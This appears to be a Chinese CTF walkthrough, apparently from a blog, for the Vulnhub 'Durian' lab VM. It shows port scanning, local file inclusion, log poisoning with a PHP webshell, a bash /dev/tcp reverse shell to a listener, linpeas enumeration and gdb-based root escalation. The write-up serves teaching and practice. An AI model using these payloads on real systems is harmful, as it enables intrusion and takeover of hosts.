Vulnhub-Durian

👑Durian

一、🤎靶机信息

# 靶机地址
http://www.vulnhub.com/entry/durian-1,553/
s
#参考
https://blog.csdn.net/LYJ20010728/article/details/119832954
https://blog.csdn.net/weixin_50688050/article/details/118218951

二、🤎获取端口信息

1、获取IP
netdiscover -r 192.168.184.0/24
 Currently scanning: 192.168.184.0/24   |   Screen View: Unique Hosts              
                                                                                   
 6 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 360                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.184.1   00:50:56:c0:00:08      1      60  VMware, Inc.                    
 192.168.184.2   00:50:56:f8:49:8c      2     120  VMware, Inc.                    
 192.168.184.137 00:0c:29:d4:59:5a      2     120  VMware, Inc.                    
 192.168.184.254 00:50:56:e2:c5:b4      1      60  VMware, Inc. 
2、查看开启端口
nmap -sC -sV 192.168.184.137  -p- -vv -n --min-rate=2000
22/tcp   open  ssh           syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http          syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
7080/tcp open  ssl/empowerid syn-ack ttl 64 LiteSpeed		#可能为8088的后台
8000/tcp open  http          syn-ack ttl 64 nginx 1.14.2
8088/tcp open  radan-http syn-ack ttl 64 LiteSpeed	#LiteSpeed类似于Apache
  • 发现开启了22、8000、8088、80端口
3、访问7080

由于账号和密码都是未知,所以不考虑爆破

image-20220519121720134

三、🤎searchsploit查看漏洞

searchsploit litespeed                                                                                   

image-20220519121953092

四、🤎feroxbuster

目录探测工具

feroxbuster -u "http://192.168.184.137:8088/"

​ 由于8088和8000端口都开启了http服务,所以都需扫描

1、探测8088
200      GET       20l       51w      765c http://192.168.184.137:8088/
301      GET       14l      109w     1260c http://192.168.184.137:8088/cgi-bin => http://192.168.184.137:8088/cgi-bin/
301      GET       14l      109w     1260c http://192.168.184.137:8088/css => http://192.168.184.137:8088/css/
301      GET       14l      109w     1260c http://192.168.184.137:8088/img => http://192.168.184.137:8088/img/
301      GET       14l      109w     1260c http://192.168.184.137:8088/docs => http://192.168.184.137:8088/docs/
301      GET       14l      109w     1260c http://192.168.184.137:8088/docs/css => http://192.168.184.137:8088/docs/css/
301      GET       14l      109w     1260c http://192.168.184.137:8088/docs/img => http://192.168.184.137:8088/docs/img/
301      GET       14l      109w     1260c http://192.168.184.137:8088/docs/zh-CN => http://192.168.184.137:8088/docs/zh-CN/
301      GET       14l      109w     1260c http://192.168.184.137:8088/protected => http://192.168.184.137:8088/protected/
  • 发现http://192.168.184.137:8088/protected/需要账号登录

image-20220519153306317

由于账号和密码都是未知,所以不考虑爆破

2、探测8000

image-20220519153851180

3、探测80
301      GET        9l       28w      317c http://192.168.184.137/blog => http://192.168.184.137/blog/
301      GET        9l       28w      321c http://192.168.184.137/cgi-data => http://192.168.184.137/cgi-data/
200      GET       20l       51w      765c http://192.168.184.137/
403      GET        9l       28w      280c http://192.168.184.137/server-status
301      GET        9l       28w      329c http://192.168.184.137/blog/wp-includes => http://192.168.184.137/blog/wp-includes/
301      GET        9l       28w      326c http://192.168.184.137/blog/wp-admin => http://192.168.184.137/blog/wp-admin/
301      GET        9l       28w      328c http://192.168.184.137/blog/wp-content => http://192.168.184.137/blog/wp-content/
301      GET        9l       28w      330c http://192.168.184.137/blog/wp-admin/css => http://192.168.184.137/blog/wp-admin/css/
301      GET        9l       28w      333c http://192.168.184.137/blog/wp-admin/images => http://192.168.184.137/blog/wp-admin/images/
301      GET        9l       28w      331c http://192.168.184.137/blog/wp-admin/user => http://192.168.184.137/blog/wp-admin/user/
301      GET        9l       28w      334c http://192.168.184.137/blog/wp-admin/network => http://192.168.184.137/blog/wp-admin/network/
301      GET        9l       28w      332c http://192.168.184.137/blog/wp-admin/maint => http://192.168.184.137/blog/wp-admin/maint/
301      GET        9l       28w      336c http://192.168.184.137/blog/wp-content/uploads => http://192.168.184.137/blog/wp-content/uploads/
301      GET        9l       28w      329c http://192.168.184.137/blog/wp-admin/js => http://192.168.184.137/blog/wp-admin/js/
301      GET        9l       28w      335c http://192.168.184.137/blog/wp-admin/includes => http://192.168.184.137/blog/wp-admin/includes/
301      GET        9l       28w      336c http://192.168.184.137/blog/wp-content/plugins => http://192.168.184.137/blog/wp-content/plugins/
301      GET        9l       28w      335c http://192.168.184.137/blog/wp-content/themes => http://192.168.184.137/blog/wp-content/themes/
301      GET        9l       28w      344c http://192.168.184.137/blog/wp-content/plugins/akismet => http://192.168.184.137/blog/wp-content/plugins/akismet/

五、🤎尝试访问网站

http://192.168.184.137/cgi-data/

image-20220519155622248

getlmage.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
  /*
</?php include $_GET['file']; */
</body>
</html>

发现文件包含漏洞

  • 测试包含文件
view-source:http://192.168.184.137/cgi-data/getImage.php?file=../../../../../../../etc/passwd

image-20220519155919142

测试能读,可以包含其他文件

六、🤎 尝试写入后门代码

1、访问日志

网站被访问的过程文件

/var/log/apache2/access.log

尝试访问,访问不成功,怀疑管理员修改了路径,尝试爆破

image-20220519162350491

image-20220519162906424

image-20220519162427109

image-20220519162915297

  • 结果为
view-source:http://192.168.184.137/cgi-data/getImage.php?file=../../../../../../../var/log/durian.log/access.log
七、尝试在日志文件中写入代码
1、尝试修改User-Agen

image-20220519173031320

2、再次访问日志文件

发现成功写入日志

image-20220519173442091

3、写入一句话木马
<?php system($_GET['x']);?>
#传输一个x的值,让他来执行命令

  • 写入后发现代码被执行

image-20220519164452791

4、给x赋值

image-20220519164001807

image-20220519183616737

重新尝试修改为123123,会发现123123之间多了文件名,证明ls执行成功

七、🤎Hack-Tools

1、kali监听
nc -lvvp 8888 
2、反弹shell
bash -c 'exec bash -i &>/dev/tcp/192.168.184.128/8888 <&1'
GET /cgi-data/getImage.php?file=../../../../../../../var/log/durian.log/access.log&x=bash+-c+'exec+bash+-i+%26>/dev/tcp/192.168.184.128/8888+<%261' HTTP/1.1

image-20220519204055721

Kali提权成功

3、此监听不可以使用回退

使用rlwrap nc -lvvp 8888

image-20220519204618230

但是不是交互式的命令

image-20220519204907385

八、🤎提权

www为安装Apache内置用户,权限相对于普通用户来说较低

1、开启交互式命令
python3 -c 'import pty; pty.spawn("/bin/bash")'

image-20220519205202426

2、查看用户

进入/home目录,发现用户durian

ls -al
drwxr-xr-x 2 durian durian 4096 Sep  8  2020 .
drwxr-xr-x 3 root   root   4096 Sep  7  2020 ..
-rw------- 1 durian durian   31 Sep  8  2020 .bash_history
-rw-r--r-- 1 durian durian  220 Sep  7  2020 .bash_logout
-rw-r--r-- 1 durian durian 3526 Sep  7  2020 .bashrc
-rw-r--r-- 1 durian durian  807 Sep  7  2020 .profile
3、查看权限
sudo -l
(root) NOPASSWD: /sbin/shutdown
(root) NOPASSWD: /bin/ping

ls -al /sbin/shutdown
lrwxrwxrwx 1 root root 14 Apr 27  2020 /sbin/shutdown -> /bin/systemctl

ls -al /bin/systemctl
-rwxr-xr-x 1 root root 868696 Apr 27  2020 /bin/systemctl
4、下载提权工具
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh

./linpeas.sh

./linpeas.sh > 123123.txt		#输出结果输出到123123.txt

python3 -m http.server 6666		# Durian发送文件到kali

wget http:192.168.184.137:6666/123123.txt			#kali下载文件

image-20220519222249622

5、扫描出可以使用的命令

image-20220519222526494

6、检测出的漏洞

扫描出的CVE对可尝试使用

image-20220519222753825

# 下载攻击脚本
https://codeload.github.com/blasty/CVE-2021-3156/zip/main
7、使用gdb工具
  • 简称「GDB 调试器」,是 Linux 平台下最常用的一款程序调试器。GDB 编译器通常以 gdb 命令的形式在终端(Shell)中使用
  • 是作反编译的工具,和内核进行通讯,所以gdb的权限会非常大
/usr/bin/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

# -ex 		代表回车
# -nx		不指定前缀命令(不从任何gdbint初始化文件中执行命令)

image-20220519223937484

发现虽然没有显示用户名,但是提权成功

image-20220519224110505

8、开启交互式
python3 -c 'import pty; pty.spawn("/bin/bash")'

image-20220519224210093

  • 获取Flag
SunCSR_Team.af6d45da1f1181347b9e2139f23c6a5b

(不从任何gdbint初始化文件中执行命令)


[外链图片转存中...(img-xZGkt6tw-1659961848105)]

**发现虽然没有显示用户名,但是提权成功**

[外链图片转存中...(img-jugHp9ra-1659961848105)]

#### 8、开启交互式

```shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

[外链图片转存中…(img-NdhtnZT3-1659961848105)]

  • 获取Flag
SunCSR_Team.af6d45da1f1181347b9e2139f23c6a5b

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值